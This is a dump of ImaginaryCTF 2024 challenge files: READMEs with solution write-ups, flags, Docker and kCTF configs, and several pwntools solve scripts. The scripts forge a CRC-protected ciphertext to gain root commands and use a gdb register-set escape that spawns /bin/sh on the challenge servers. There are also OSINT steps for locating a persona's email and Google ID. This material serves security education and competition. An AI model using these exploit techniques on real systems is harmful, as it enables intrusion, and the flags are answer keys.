--------------------------------------------------------------------------------
1 | ictf{mixing_modulus_is_really_annoying_right?}
2 |
--------------------------------------------------------------------------------
/Crypto/lf3r/challenge/output.py:
--------------------------------------------------------------------------------
1 | output.txt
--------------------------------------------------------------------------------
/Crypto/notitle/README.md:
--------------------------------------------------------------------------------
1 | # notitle
2 | **Category:** Crypto
3 | **Difficulty:** Medium
4 | **Author:** maple3142
5 |
6 | ## Description
7 |
8 | The keys are obfuscated by a weird magic operation.
9 |
10 | ## Distribution
11 |
12 | - `chall.py`
13 | - `output.txt`
14 |
15 | ## Solution
16 |
17 | The `magic_op` computes the first kind of Chebyshev polynomials, and we can observe that either `magic_op(x, p + 1) == 1` or `magic_op(x, p - 1) == 1` for random `x`. This implies it corresponds to some group structure.
18 |
19 | First we have to obtain the `h`, which means it corresponds to some kind of discrete logarithm problem, and it is doable as `p - 1` and `p + 1` have a large smooth part. Either implementing Pohlig-Hellman algorithm yourself or find a homomorphism to `GF(p^2)` and call `discrete_log` would work.
20 |
21 | Once `h` is obtained, for each obfuscated key we can check which group does it belongs and try to decrypt it. The problem is that `h = 4 * large_number`, so the decryption might not be unique. But we know that the sum of the correct ones is the real key, which is just 128 bits -> LLL!
22 |
--------------------------------------------------------------------------------
/Crypto/notitle/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{the_weird_magic_operation_is_not_so_magic_after_all..}
2 |
--------------------------------------------------------------------------------
/Crypto/notitle/challenge/output.py:
--------------------------------------------------------------------------------
1 | output.txt
--------------------------------------------------------------------------------
/Crypto/pacap/README.md:
--------------------------------------------------------------------------------
1 | # pacap
2 | **Category:** Crypto
3 | **Difficulty:** Medium
4 | **Author:** maple3142
5 |
6 | ## Description
7 |
8 | The "capac" challenge from Crypto CTF 2024 can be directly solved by factorizing the modulus, but is it still solvable if the modulus is much larger?
9 |
10 | Original challenge is made by [@factoreal](https://x.com/refactoreal).
11 |
12 | ## Distribution
13 |
14 | - `chall.sage`
15 | - `output.txt`
16 |
17 | ## Solution
18 |
19 | Taking the resultant of curve equation and $x^3+cy^3=1$ result in a 6-degree polynomial $f(x,y)$. By, substituting $u=1-x^3$, $v=y^3$, $f$ can be written as a polynomial in $u$ and $v$, with only $u^2$, $uv$ and $v^2$ terms. Note that $x,y$ are pretty small compared to the modulus, so $u,v$ are still small.
20 |
21 | Applying coppersmith method only find the trivial root $(0, 0)$, so I take the gcd of the first two short polynomials and it result in a polynomial in the form of $au+bv$. Since `a,b` are small, we can assume that $v=k*a$ for some small $k=gcd(u,v)$ (up to sign) and recover the flag from $u$ and $v$.
22 |
--------------------------------------------------------------------------------
/Crypto/pacap/challenge/flag.py:
--------------------------------------------------------------------------------
1 | flag = b'ictf{a big modulus and a small flag implies coppersmiths method, and a super big modulus means that I can put a lot of useless things here and ensure it is still solvable: 32d232b58c7c9f9aaed9}'
2 |
--------------------------------------------------------------------------------
/Crypto/solitude/README.md:
--------------------------------------------------------------------------------
1 | # solitude
2 | **Category:** Crypto
3 | **Difficulty:** Easy-Medium
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | The best thinking has been done in solitude. The worst has been done in turmoil.
9 | - Thomas A. Edison
10 |
11 | ## Distribution
12 |
13 | - `main.py`
14 | - nc
15 |
16 | ## Solution
17 |
18 | This RNG is a variant of https://en.wikipedia.org/wiki/Solitaire_(cipher), which is vulnerable as it tends to repeat keystream bytes. We can exploit this by XORing together consecutive bytes in different flag encryptions and selecting the most common combinations. This can be used to recover the flag. (see solve.py)
19 |
--------------------------------------------------------------------------------
/Crypto/solitude/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: solitude
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/solitude-challenge:c43104aa6461be2c6c5ed91061504b52a6640538f2d69ab04de43d8b0823e31a
13 |
--------------------------------------------------------------------------------
/Crypto/solitude/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM python:latest as chroot
15 |
16 | RUN /usr/sbin/useradd --no-create-home -u 1000 user
17 |
18 | COPY flag.txt /home/user/flag.txt
19 | COPY main.py /home/user/run
20 | RUN chmod 555 /home/user/run
21 |
22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
23 |
24 | COPY --from=chroot / /chroot
25 |
26 | COPY nsjail.cfg /home/user/
27 |
28 | CMD kctf_setup && \
29 | kctf_drop_privs \
30 | socat \
31 | TCP-LISTEN:1337,reuseaddr,fork \
32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/run"
33 |
--------------------------------------------------------------------------------
/Crypto/solitude/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{biased_rng_so_sad_6b065f93}
2 |
--------------------------------------------------------------------------------
/Crypto/solitude/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | conn = remote("34.91.117.150", 1337)
4 |
5 | def retr(i):
6 | conn.recvuntil(b"? ")
7 | conn.sendline(str(i).encode())
8 | out = []
9 | out = conn.recvuntil(b"got", drop=True).strip().split()
10 | return [bytes.fromhex(i.decode()) for i in out]
11 |
12 |
13 | res = [{} for _ in range(len(retr(1)[0])-1)]
14 | for a in retr(100000):
15 | for i in range(len(a)-1):
16 | rr = a[i] ^ a[i+1]
17 | if rr in res[i]:
18 | res[i][rr] += 1
19 | else:
20 | res[i][rr] = 1
21 |
22 | recovered = [max(r.keys(), key=lambda x: r[x]) for r in res]
23 | flag = list(b"i")
24 | for f in recovered:
25 | flag.append(f ^ flag[-1])
26 | print(bytes(flag))
27 |
--------------------------------------------------------------------------------
/Crypto/tango/README.md:
--------------------------------------------------------------------------------
1 | # Tango
2 | **Category:** Crypto
3 | **Difficulty:** Medium
4 | **Author:** lodsb
5 |
6 | ## Description
7 |
8 | Let's dance!
9 |
10 | ## Distribution
11 |
12 | - the players should get a copy of `server.py`
13 | - challenge instancer (is it necessary if there's no RCE in the app?)
14 |
15 | ## Solution
16 |
17 | Perform bit-flipping to change user and command. Use the fact that crc32(x ^ y ^ z) = crc32(x) ^ crc32(y) ^ crc32(z) to forge the checksum.
18 |
--------------------------------------------------------------------------------
/Crypto/tango/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: tango
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/tango-challenge:7f0d80d797d60e44766f6fe38252f881d5c8b2623809fda3e932d1796a1c6808
13 |
--------------------------------------------------------------------------------
/Crypto/tango/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM python:3.12.4-bookworm@sha256:2c532e649905326835c73b86c89e1cbb3d1572c5331402d1013559058a22c33f AS chroot
15 |
16 | RUN pip install -U pip && pip install pycryptodome
17 | RUN /usr/sbin/useradd --no-create-home -u 1024 user
18 |
19 | COPY server.py /home/user/server.py
20 | COPY secret.py /home/user/secret.py
21 | RUN chmod 555 /home/user/server.py
22 |
23 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
24 |
25 | COPY --from=chroot / /chroot
26 |
27 | COPY nsjail.cfg /home/user/
28 |
29 | CMD kctf_setup && \
30 | kctf_drop_privs \
31 | socat \
32 | TCP-LISTEN:1337,reuseaddr,fork \
33 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /usr/local/bin/python3.12 /home/user/server.py"
--------------------------------------------------------------------------------
/Crypto/tango/challenge/secret.py:
--------------------------------------------------------------------------------
1 | FLAG = 'ictf{F0xtr0t_L1m4_4lph4_G0lf}'
2 |
--------------------------------------------------------------------------------
/Crypto/tango/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import bytes_to_long, long_to_bytes
2 | from pwn import *
3 | from zlib import crc32
4 |
5 | # io = process(['python3', 'server.py'])
6 | io = remote('34.147.35.216', 1337)
7 |
8 | io.sendlineafter(b'> ', b'E')
9 | io.sendlineafter(b': ', b'abc')
10 | packet = bytes.fromhex(io.recvline().split(b': ')[-1].decode())
11 |
12 | nonce = packet[:8]
13 | checksum = bytes_to_long(packet[8:12])
14 | ciphertext = packet[12:]
15 |
16 | mod = b'\x00' * len('{"user": "') + xor(b'user', b'root') + b'\x00' * len('", "command": "') + xor(b'abc", ', b'flag",') + b'\x00' * len('"nonce": "XXXXXXXXXXXXXXXX"}')
17 | forged_ciphertext = xor(ciphertext, mod)
18 | forged_crc = checksum ^ crc32(mod) ^ crc32(b'\x00' * len(mod))
19 | forged_packet = nonce + long_to_bytes(forged_crc) + forged_ciphertext
20 |
21 | io.sendlineafter(b'> ', b'R')
22 | io.sendlineafter(b': ', forged_packet.hex().encode())
23 | log.info(io.recvline().decode())
24 |
--------------------------------------------------------------------------------
/Forensics/Sleepy Alarm/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{1_sl33py_NaYuKi_alarm_2a634dc1bb2}
--------------------------------------------------------------------------------
/Forensics/Sleepy Alarm/readme.md:
--------------------------------------------------------------------------------
1 | # Sleepy Alarm
2 | **Category:** Forensics
3 | **Difficulty:** Medium
4 | **Author:** Minerva.
5 |
6 | ## Description
7 | Yuuichi woke up for his school, but the alarm audio seems to have an extra jingle in it. Maybe you can help him uncover the secret?
8 |
9 | Hint: The flag length, including ictf and enclosing braces, is 39.
10 |
11 | ## Distribution
12 |
13 | - `togive/morning_n_breakfast.mp3`
14 |
15 | ## Solution
16 | Easiest way: reverse search "morning_n_breakfast.mp3" to find the audio, and then compare the two signals.
17 | Intended way: the audio signal has a very light "jingle" when heard at full volume. FFT analysis also shows an unusual peak at 8kHz. From here, after isolating the 8kHz wave, it appears to have three distinct amplitudes i.e. 2e-3, 5e-3, and 0. The modulating algorithm is Amplitude Shift Keying. 0 amplitude indicates completion of one byte, while 2e-3 and 5e-3 represent 0 and 1 respectively. Each bit is "transmitted" for a duration of 0.02s, or 50 baud.
18 |
--------------------------------------------------------------------------------
/Forensics/Sleepy Alarm/src/morning_n_breakfast.mp3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/Sleepy Alarm/src/morning_n_breakfast.mp3
--------------------------------------------------------------------------------
/Forensics/Sleepy Alarm/src/morning_n_breakfast_original.mp3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/Sleepy Alarm/src/morning_n_breakfast_original.mp3
--------------------------------------------------------------------------------
/Forensics/Sleepy Alarm/togive/.s:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Forensics/Sleepy Alarm/togive/morning_n_breakfast.mp3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/Sleepy Alarm/togive/morning_n_breakfast.mp3
--------------------------------------------------------------------------------
/Forensics/bom/README.md:
--------------------------------------------------------------------------------
1 | # bom
2 | **Category:** Forensics
3 | **Difficulty:** Easy
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | 楣瑦筴栴瑟楳渷彣桩渳獥
9 |
10 | ## Distribution
11 |
12 | - `chal.txt`
13 |
14 | ## Solution
15 |
16 | - `cat chal.txt`
17 |
--------------------------------------------------------------------------------
/Forensics/bom/chal.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/bom/chal.txt
--------------------------------------------------------------------------------
/Forensics/bom/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{th4t_isn7_chin3se}
2 |
--------------------------------------------------------------------------------
/Forensics/bom/gen.py:
--------------------------------------------------------------------------------
1 |
2 | with open("chal.txt", "wb") as f:
3 | f.write(bytes.fromhex('FEFF'))
4 | for n in b"ictf{th4t_isn7_chin3se}":
5 | f.write(bytes([n]))
6 | f.close()
7 |
--------------------------------------------------------------------------------
/Forensics/cartesian-1/README.md:
--------------------------------------------------------------------------------
1 | # cartesian-1
2 | **Category**: OSINT
3 | **Difficulty**: Easy
4 | **Author**: Eth007
5 |
6 | # Description
7 | Greetings. You have been tasked with investigating the whereabouts of a potential recruit. To perform this top-secret background check, we must gather as much information as possible.
8 |
9 | Please investigate Terrence Descartes. We know that his social accounts are relatively new, so please do not attack anything out of scope. For the sake of this series of challenges, nothing pertaining to Terry has existed before July 17, 2024. Do not investigate anything posted online before then.
10 |
11 | # Distribution
12 | - None
13 |
14 | # Solution
15 |
16 | - The flag is on Terry's instagram, which can be found linked to his GitHub. Using https://mollygram.com/download-highlights we can download the highlights, and get the flag.
17 |
--------------------------------------------------------------------------------
/Forensics/cartesian-1/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{i_love_revealing_info_on_the_internet}
2 |
--------------------------------------------------------------------------------
/Forensics/cartesian-2/README.md:
--------------------------------------------------------------------------------
1 | # cartesian-2
2 | **Category**: OSINT
3 | **Difficulty**: Easy-Medium
4 | **Author**: Eth007
5 |
6 | # Description
7 | Please keep digging into Terrence. We have reason to suspect that there might be more to him that it seems. Look into his trip last summer. See if you can find anything up with him.
8 |
9 | # Distribution
10 | - None
11 |
12 | # Solution
13 |
14 | - After finding Terrence's email from his GitHub (add a .patch after viewing a commit, and you can see his email is terrencedescartes@gmail.com), use https://epieos.com/?q=terrencedescartes%40gmail.com&t=email to find his Google ID. This allows you to see his Google reviews at https://www.google.com/maps/contrib/115542426133698026792, leading to the flag.
15 |
--------------------------------------------------------------------------------
/Forensics/cartesian-2/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{wh3n_th3y_s4y_publ1c_th3y_m3an_publ1c_9f1b2314}
2 |
--------------------------------------------------------------------------------
/Forensics/cartesian-3/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: "cartesian-3"
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | ports:
11 | - protocol: "TCP"
12 | port: 80
13 | targetPort: 5000
14 | healthcheck:
15 | enabled: false
16 | image: eu.gcr.io/imaginaryctf-2023/cartesian-3-challenge:c4ca62e8b1b485401b548b601d9e1cda082dc29327c3f737c242e32d5f7e1aa5
17 |
--------------------------------------------------------------------------------
/Forensics/cartesian-3/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.9-slim
2 |
3 | ENV FLASK_APP=/app/app.py:app
4 |
5 | RUN pip install flask==3.0.3
6 |
7 | WORKDIR /app
8 | COPY app.py /app/app.py
9 | COPY flag.txt /app/flag.txt
10 | COPY templates/ /app/templates/
11 |
12 | EXPOSE 80
13 |
14 |
15 | WORKDIR /app
16 | CMD ["python3", "/app/app.py"]
17 |
--------------------------------------------------------------------------------
/Forensics/cartesian-3/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{pls_stay_safe_out_there_e072db31b690cfdb}
2 |
--------------------------------------------------------------------------------
/Forensics/cartesian-3/challenge/templates/success.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Password Reset Success
7 |
8 |
26 |
27 |
28 |
29 |
30 | {{ flag }}
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/Forensics/crash/README.md:
--------------------------------------------------------------------------------
1 | # crash
2 | **Category:** Forensics
3 | **Difficulty:** Easy
4 | **Author:** cleverbear57, Eth007, Brandy
5 |
6 | ## Description
7 |
8 | I didn't save my work...
9 |
10 | ## Distribution
11 |
12 | - `dump.vmem` (https://storage.googleapis.com/ictf-2024-files/dump.vmem)
13 |
14 | ## Solution
15 |
16 | - volatility memdump the notepad.exe process
17 | - get the text from there
18 |
--------------------------------------------------------------------------------
/Forensics/crash/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{aa0eb707a41b2ca6}
2 |
--------------------------------------------------------------------------------
/Forensics/dog-mom/README.md:
--------------------------------------------------------------------------------
1 | # dog-mom
2 | **Category**: OSINT
3 | **Difficulty**: Easy
4 | **Author**: Eth007
5 |
6 | # Description
7 | i'm a dog mom i 🩷 dogs
8 |
9 | Find where this picture was taken; submit your flag as `ictf{latitude_longitude}`, both rounded to three decimal places. (example: `ictf{-12.345_66.533}`)
10 |
11 | # Distributions
12 | - `image.png`
13 |
14 | # Solution
15 |
16 | - Google image search on just the top left corner (cutting out the metal bar) will show that this is the view from the top of the Cathedral of Learning in Pittsburgh, PA. Submit that location as the flag.
17 |
18 |
--------------------------------------------------------------------------------
/Forensics/dog-mom/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{40.444_-79.954}
2 |
--------------------------------------------------------------------------------
/Forensics/dog-mom/challenge/image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/dog-mom/challenge/image.png
--------------------------------------------------------------------------------
/Forensics/elf in front of a sunset/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{elf_waifus_best_waifus_2h12lntka}
2 |
--------------------------------------------------------------------------------
/Forensics/elf in front of a sunset/readme.md:
--------------------------------------------------------------------------------
1 | # elf in front of a sunset
2 | **Category:** Forensics
3 | **Difficulty:** Easy-Medium
4 | **Author:** Minerva.
5 |
6 | ## Description
7 | Here is a picture of elves, taken from Wikipedia. Enjoy.
8 |
9 | ## Distribution
10 |
11 | - `togive/elves.bmp`
12 |
13 | ## Solution
14 | The size of bitmap image and the pixel count do not match. Fixing the bitmap height from the header data reveals top rows that contain an elf executable encoded in 8 bit grayscale. Extract it, and reverse it to find a shuffled flag as well as the shuffling algorithm. Reverse and submit.
15 |
--------------------------------------------------------------------------------
/Forensics/elf in front of a sunset/src/download.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/elf in front of a sunset/src/download.bmp
--------------------------------------------------------------------------------
/Forensics/elf in front of a sunset/src/elves.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Forensics/elf in front of a sunset/src/elves.bmp
--------------------------------------------------------------------------------
/Forensics/elf in front of a sunset/src/testcode.cpp:
--------------------------------------------------------------------------------
1 | #include"stdio.h"
2 | #include"string.h"
3 | #include"stdlib.h"
4 |
5 | void displayhex(char[]);
6 |
7 | int main()
8 | {
9 | // Teh flag
10 | // char flag[]="ictf{elf_waifus_best_waifus_2h12lntka}";
11 | char flag[] = "_{f2isfsatutflwa_nh2}__asitib1leefwcuk";
12 | // Create a shuffling scheme
13 | srand(0x123123D);
14 | for(int i=0;i", "eval")
15 | addaudithook(hook)
16 | return dummy()
17 |
18 |
19 | if __name__ == "__main__":
20 | expr = input("Math expression: ")
21 | if len(expr) <= 200 and match(r"[0-9+\-*/]+", expr):
22 | print(safe_eval(_exit, expr))
23 | else:
24 | print("Do you know what is a calculator?")
25 |
--------------------------------------------------------------------------------
/Misc/discord/README.md:
--------------------------------------------------------------------------------
1 | # discord
2 | **Category**: Misc
3 | **Difficulty**: Easy
4 | **Author**: Board
5 |
6 | # Description
7 | Join our Discord community for updates and support! If you would like to do some more CTF after this competition, we do host daily CTF challenges on our Discord server as well. Join at https://discord.gg/ctf . You can find the flag for this challenge in the `#imaginaryctf-2024` channel.
8 |
9 | # Distribution
10 | - None
11 |
12 | # Solution
13 |
14 | Copy and paste the flag from Discord.
15 |
16 |
--------------------------------------------------------------------------------
/Misc/discord/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{fake_flag_for_testing}
2 |
--------------------------------------------------------------------------------
/Misc/gdbjail1/README.md:
--------------------------------------------------------------------------------
1 | # gdbjail1
2 | **Category**: Misc
3 | **Difficulty**: Easy
4 | **Author**: Eth007
5 |
6 | # Description
7 | gelatinous grudges garnish grevious gravestones
8 |
9 | # Distributions
10 | - `Dockerfile`
11 | - `main.py`
12 | - `run.sh`
13 | - `gdbinit.sh`
14 | - `nsjail.cfg`
15 | - nc connection
16 |
17 | # Solution
18 |
19 | - solve.py
20 |
21 |
--------------------------------------------------------------------------------
/Misc/gdbjail1/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: gdbjail1
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/gdbjail1-challenge:d4166afc13882c9183d0d65204d2df659445365af32c2884a0c961f20187eff5
13 |
--------------------------------------------------------------------------------
/Misc/gdbjail1/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{n0_m0re_debugger_a2cd3018}
2 |
--------------------------------------------------------------------------------
/Misc/gdbjail1/challenge/gdbinit.sh:
--------------------------------------------------------------------------------
1 | source /home/user/main.py
2 |
--------------------------------------------------------------------------------
/Misc/gdbjail1/challenge/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Misc/gdbjail1/challenge/libc.so.6
--------------------------------------------------------------------------------
/Misc/gdbjail1/challenge/main.py:
--------------------------------------------------------------------------------
1 | import gdb
2 |
3 | def main():
4 | gdb.execute("file /bin/cat")
5 | gdb.execute("break read")
6 | gdb.execute("run")
7 |
8 | while True:
9 | try:
10 | command = input("(gdb) ")
11 | if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
12 | try:
13 | gdb.execute(command)
14 | except gdb.error as e:
15 | print(f"Error executing command '{command}': {e}")
16 | else:
17 | print("Only 'break', 'set', and 'continue' commands are allowed.")
18 | except:
19 | pass
20 |
21 | if __name__ == "__main__":
22 | main()
23 |
--------------------------------------------------------------------------------
/Misc/gdbjail1/challenge/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | gdb -x /home/user/gdbinit
4 |
--------------------------------------------------------------------------------
/Misc/gdbjail1/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | libc = ELF("./libc.so.6") # taken from docker image
4 | conn = remote("34.91.79.108", 1337)
5 |
6 | conn.sendline(f"set $rdi=$rip+({next(libc.search(b'/bin/sh'))-libc.sym.read})".encode())
7 | conn.sendline(f"set $rip=$rip+({libc.sym.system-libc.sym.read})".encode())
8 | conn.sendline(b"continue")
9 |
10 | conn.interactive()
11 |
--------------------------------------------------------------------------------
/Misc/gdbjail2/README.md:
--------------------------------------------------------------------------------
1 | # gdbjail2
2 | **Category**: Misc
3 | **Difficulty**: Medium
4 | **Author**: Eth007
5 |
6 | # Description
7 | rip rip
8 |
9 | # Distributions
10 | - `Dockerfile`
11 | - `main.py`
12 | - `run.sh`
13 | - `gdbinit.sh`
14 | - `nsjail.cfg`
15 | - nc connection
16 |
17 | # Solution
18 |
19 | - solve.py
20 |
21 |
--------------------------------------------------------------------------------
/Misc/gdbjail2/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: gdbjail2
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/gdbjail2-challenge:127ad55d6e18cfb4439c854d158f7b8775d8dc3cb6d5031507110ab7237e0667
13 |
--------------------------------------------------------------------------------
/Misc/gdbjail2/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{i_l0ve_syscalls_eebc5336}
2 |
--------------------------------------------------------------------------------
/Misc/gdbjail2/challenge/gdbinit.sh:
--------------------------------------------------------------------------------
1 | source /home/user/main.py
2 |
--------------------------------------------------------------------------------
/Misc/gdbjail2/challenge/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Misc/gdbjail2/challenge/libc.so.6
--------------------------------------------------------------------------------
/Misc/gdbjail2/challenge/main.py:
--------------------------------------------------------------------------------
1 | import gdb
2 |
3 | blacklist = ["p", "-", "&", "(", ")", "[", "]", "{", "}", "0x"]
4 |
5 | def main():
6 | gdb.execute("file /bin/cat")
7 | gdb.execute("break read")
8 | gdb.execute("run")
9 |
10 | while True:
11 | try:
12 | command = input("(gdb) ")
13 | if any([word in command for word in blacklist]):
14 | print("Banned word detected!")
15 | continue
16 | if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
17 | try:
18 | gdb.execute(command)
19 | except gdb.error as e:
20 | print(f"Error executing command '{command}': {e}")
21 | else:
22 | print("Only 'break', 'set', and 'continue' commands are allowed.")
23 | except:
24 | pass
25 |
26 | if __name__ == "__main__":
27 | main()
28 |
--------------------------------------------------------------------------------
/Misc/gdbjail2/challenge/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | gdb -x /home/user/gdbinit
4 |
--------------------------------------------------------------------------------
/Misc/left_in_the_dark/README.md:
--------------------------------------------------------------------------------
1 | # Left in the Dark
2 | **Category**: Misc
3 | **Difficulty**: Easy/Medium
4 | **Author**: puzzler7
5 |
6 | # Description
7 | In another challenge, I made a "beautiful" frontend for this maze, but what if you didn't have any of that?
8 |
9 | BONK.
10 |
11 | # Distributions
12 | - `challenge/maze.py`
13 | - Remote connection, in the form
14 | ```sh
15 | socat FILE:`tty`,raw,echo=0 TCP:localhost:1337
16 | ```
17 |
18 | # Solution
19 |
20 | Walking around the maze keeping the wall on your left (or right) is guaranteed to bring you to the flag, if the maze is solvable. See `x.py` for an example
21 |
22 |
--------------------------------------------------------------------------------
/Misc/left_in_the_dark/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: left-in-the-dark
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/left-in-the-dark-challenge:d34f20bad7fc14ed381b86fa1037dd0dd248ee4f8c16724b2dfc201347fd5adc
13 |
--------------------------------------------------------------------------------
/Misc/left_in_the_dark/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04
2 |
3 | RUN apt-get update -y && \
4 | apt-get install -y python3-pip python3-dev socat
5 |
6 | RUN pip3 install console
7 |
8 | WORKDIR /app
9 |
10 | COPY . /app
11 |
12 | RUN chmod -R 555 /app
13 |
14 | CMD socat -dd TCP4-LISTEN:1337,fork,reuseaddr SYSTEM:./wrapper.sh,pty,echo=0
15 |
--------------------------------------------------------------------------------
/Misc/left_in_the_dark/challenge/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 | services:
3 | shell:
4 | build: .
5 | ports:
6 | - 1337:1337
7 |
--------------------------------------------------------------------------------
/Misc/left_in_the_dark/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{glad_you_f0und_the_right_way_to_the_exit}
2 |
--------------------------------------------------------------------------------
/Misc/left_in_the_dark/challenge/wrapper.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | python3 -u maze.py
--------------------------------------------------------------------------------
/Misc/ok-nice/README.md:
--------------------------------------------------------------------------------
1 | # ok-nice
2 | **Category**: Misc **Difficulty**: Medium **Author**: NoobMaster
3 |
4 | # Description
5 | Ok nice
6 |
7 | # Distributions
8 | - `challenge/jail.py`
9 | - Remote connection
10 |
11 | # Solution
12 |
